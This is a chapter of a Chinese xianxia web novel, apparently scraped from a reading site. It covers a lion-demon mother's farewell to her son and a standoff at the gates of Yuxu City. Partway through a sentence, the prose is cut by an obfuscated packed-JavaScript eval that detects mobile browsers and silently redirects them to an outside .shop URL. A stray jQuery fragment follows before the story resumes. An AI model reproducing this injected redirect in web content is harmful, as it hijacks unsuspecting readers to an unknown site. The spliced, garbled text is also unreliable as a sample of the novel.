娟娘子哀哀而泣的声音响彻在山林里,那是一位母亲为世道而愤恨,为当初不得不抛夫弃子远走而痛悔,为母子有幸重逢而潸然泪下,令听者无不动容。
方葛生一时红了眼眶,肩膀颤抖不已。
巫风澜带着众人默默往后退了退,给这对久别重逢的母子留下叙话的空间。
她不禁回头遥望,此间山高林茂,身后风雪荒芜,方家村与敕勒原只隔着一座苍茫的雪山,却让他们母子生生别离十六载。
看着远处那对抱头痛哭的母子,巫风澜忍不住心下怅然。
这世上,隔开他们的,又岂止是一座雪山?
在那些不为人知的角落,又岂止这一个支离破碎的家庭?
妖兽一族的悲剧,向来百年无歇。
她按下心里的忧思,见那两人情绪平复,上前问娟娘子道:“今日难得相认,你此后可要留在方家村?”
娟娘子思索片刻,满眼不舍地看了眼方葛生,最终还是摇了摇头。
“不,方家村如今平静安宁,又何苦因我而破坏这份平和?”
她一眼不错的望着方葛生,带着血泪的脸上露出一丝欣慰的笑:“你父亲和村民们把你养的很好,我不能如此贸然再去搅乱他们的生活。”
“葛生,你记住,狮子会守护自己的领地,你要永永远远,守护方家村,守住脚下的这片土地。”
“娘是妖兽,给不了你好的出身,唯一能给你的只有为娘的疼爱,生你是爱,离开你也是爱,而今,再次离开你,仍然是爱……”
话已至此,娟娘子又哽咽不已,血泪潸然。
若能选择,谁人愿意一次次推开自己的孩子……
方葛生抬手为母亲拭泪,双唇颤抖已不能言,只能不断地点头。
巫风澜看的眼中酸涩,抬眼一看众人,皆垂头难过不已。
娟娘子怕自己多待一刻就要割舍不下,她怜爱地抚了抚方葛生的面颊,随后万般痛苦地闭上眼睛,转身化出狮子真身,朝远方急奔而去。
方葛生在后面几次张口,终于唤出了那一声未曾叫过的称呼。
“娘——”
狮子的身形在前方一顿,却是头也不敢回地拔足远去。
巫风澜看着落寞的方葛生,对他道:“你说过,人终其一生只得一个归处,不要放弃,要永远守住这个归处。”
“总有一天,我要让所有的妖兽,都回家,回到自己原本的归处。”
方葛生抬眸,看着那双熠熠生辉的眼睛,仿佛回到了多年前他来送别她的场景。
而今,他依然要送别她,不同的是,当年痴心说出幻想的女子,如今对他许出了承诺。
那双明亮的眼睛里不仅带着前所未改的坚定,历经时间的沉淀,还添了几分不容藐视的力量。
方葛生像从前一样,目送她远去。
她的前路漫长而又布满荆棘,他只是她路上片刻停留的插曲,无法追逐更不能挽留。
巫风澜也和从前一样,一路往前,不曾回头。
待追上了前面久候的娟娘子,巫风澜见她已重新梳洗过,面色看着甚是平静,于是“唉”了一声:“跑这么快,马奶酒和奶酪都没给人送出去。”
娟娘子握着包袱一呆:“要不,我再给送去?”
巫风澜笑了起来:“等我们回去的时候,再给他带更好的东西吧。”
娟娘子眼睛一亮,点头“哎”了一声。
因为这次带出来的五百人目标过于显眼,巫风澜打算分散队伍,她和崇云、坛阳各领一队,从不同的山路走,到时候在玉虚城集合。
坛阳许久不曾到过仙洲,怕他不认路,巫风澜便让晴蓝跟他一队,方便带路。山路虽不好走,但胜在山林里人少不易暴露,偶尔遇到几个猎户樵夫大家也是用真身蒙混过关,只不过着实吓尿了好几个人就是了。
不知道是不是因为巫风澜思君心切,她是三队里最先到达玉虚城的,比其他两队足足快了半天。由于玉虚城戒卫森严,巫风澜没有能够证明身份的牌子,所以一时也进不去,不得不在城外等着崇云一干人。
期间来了几位御剑飞行的貌美女子,也是想入玉虚城,只是被城门结界挡了下来。
那打头戴着面纱的紫衣女子尚未发话,她身后一左一右眉心点着红痣的俏丽女子便站了出来。
一个道:“虎鹤山叶二小姐拜访你们仙君,为何不放行?”
另一个道:“三年前我们小姐救下你们那位玉虚仙君,今日你们就是这么对待恩人的?”
玉虚山守门弟子看了中间那女子一眼,执礼不卑不亢道:“仙君闭关前曾发话,玉虚城不接待其他仙山来客,还望叶二小姐莫要为难。”
左边的女子哼了声,道:“难道万凰山那位二少夫人来了,你们也这般拒之城外不成?”
她口中的二少夫人,说的应该是洛南星,问这话显然是不信守门弟子的说辞。
巫风澜仰头望着他们在城门上对峙,实在很想问一问洛北舟身上到底发生了什么事。
那守门弟子见对方如此刁钻,语气便也淡了几分:“玉虚山洛二小姐即便已嫁,也仍然姓洛,自家之人自然不同其他仙山来客。”
此时叶鸣蝉终于开口,她看了眼左边的女弟子,轻斥一声:“沛情,不得无礼!”
说完抬眼看向那个守门弟子,声音清泠疏淡:“我此番顺路而来,只想知道,玉虚仙君是死是活?”
巫风澜在底下一愣。
“我救下来的人,若是活着,合该亲自谢我,若是死了,也该请我吊唁才是。”
守门弟子闻言拳头一握,咬了咬牙,道:“我们仙君,正、在、闭、关!”
叶鸣蝉顿了顿,不知他为何如此激动。
巫风澜在城门下只见到她那浅紫臂纱扬起一角,像是冬日里开出的一片紫藤花。
她手中长剑抵在守门弟子的肩上,声调一如方才:“是不是闭关,我亲眼看了便知,你让是不让?”
“不让!”守门弟子神情坚定,毫不迟疑,“仙君有令,谁若要闯护城结界,便是公然与玉虚山开战,我等将死战到底!”
叶鸣蝉似是有所顾虑,垂眸思索了片刻。
也就是这片刻的光景,空中一只雄鹰直冲而下,在要触及剑身的时候,叶鸣蝉倏然收剑回鞘。
守门弟子一喜:“崇云师兄!”
崇云落地化出人形,叶鸣蝉上下看他一眼,好似他是什么脏东西一般,猛然往后退了两步。
巫风澜早看到他来,远远便朝他打手势,幸而他反应及时。
此时坛阳和晴蓝他们也到了,晴蓝站在巫风澜旁边,兴奋地朝上面招手。
“王师弟!”
王乾一看见二人心中一喜,忽然想到什么,问崇云道:“你和晴蓝师姐都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14069057|149336||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回来了,难道说那个……”
崇云立刻用眼神制止了他,王乾一看了眼叶鸣蝉,将余下的话咽了回去。
然而这等小动作又怎能瞒得过叶鸣蝉的眼睛,她转头向下面看去,一眼扫过乌泱泱堵在城门外的人,问王乾一道:“他们,都是玉虚山的人?”
王乾一对崇云和晴蓝信任非常,当下毫不迟疑道:“自然!”
底下的人看过晴蓝的玉虚令牌,当即开了城门给他们放行。
眼看着巫风澜领着众人也要进得城来,叶鸣蝉在上面朝她遥遥一指:“她是谁?”
“方才还候在门外的。”
王乾一顿时语塞,他对自己刚才撒的谎毫无准备,根本没想好怎么圆。
崇云见他不动,代他答道:“难道玉虚山的弟子,还要各个都向叶二小姐报备?”
叶鸣蝉直接侧过身去,语气冷了不少。
“姑姑说妖兽都是没有心的,我从不与妖兽说话。”
崇云面色一冷,说出的话更冷。
“玉虚山妖兽无数,实在不欢迎叶二小姐,何苦还在这自讨没趣?”
叶鸣蝉不看他,只对王乾一道:“告诉玉虚仙君,他还欠我一声谢。”
说罢,带着身后的女弟子转头御剑而去。
王乾一见她走了,这才垮下脸来,他还没来得及喘口气,便被身边人连声追问。
“仙君怎么了?”
“洛北舟发生什么事了?”
一转头,崇云晴蓝还有巫风澜将他围住,各个焦急的不行。
王乾一长叹一口气,话说的十分简略。
“三年前仙君应邀赴宴,虽早知是鸿门宴,但到底还是着了道,当时被那个叶二小姐勉强救下,因伤势极重,仙君只能强行破境以自保。”
“这三年间他一直在闭关,就是为了平息强行破境带来的反噬。”
知道洛北舟还活着,三人都不禁松了一口气。
巫风澜担忧道:“他现在情况怎么样,五位长老怎么说?”
王乾一摇头:“五位长老三年间轮流为仙君护法,我们也很少能见到他们,具体情况,实在不知。”
“那个叶二小姐,是故意来打探情况的么?”
崇云对她观感不好,难免揣测起她来。
“倒也不像,”王乾一迟疑道,“这三年间故意打探仙君情况的人不在少数,也从未见过她来,这次她说是顺道而来,想必是前往万凰山参加万凰仙君继任仪典,正好路过咱们这里。”
巫风澜看了眼暗沉的天色,问王乾一道:“我们这次回来,带了五百人,可否暂时驻扎在玉虚山下?”
“五、五百人?!”
王乾一惊诧道:“去时三人,归来五百,你们是去当土匪了吗?”
巫风澜一噎:“此事说来话长,他们皆是我的同族,还望玉虚山能行个方便。”
以巫风澜和洛北舟的关系,她完全不需要问他这种问题,更何况,晴蓝师姐和崇云师兄亲自领回来的人,哪有他说话的份?
王乾一很有自知之明,囫囵点头道:“晴蓝师姐和崇云师兄安排了就好。”
巫风澜也不耽搁,立刻就要出发去往玉虚山。
偏此时,有巡城弟子来报:“仙山遇袭,速回支援!”
众人面色一凝,巫风澜眸光沉沉,似被惹恼的猛兽一般,转头便朝着仙山奔去。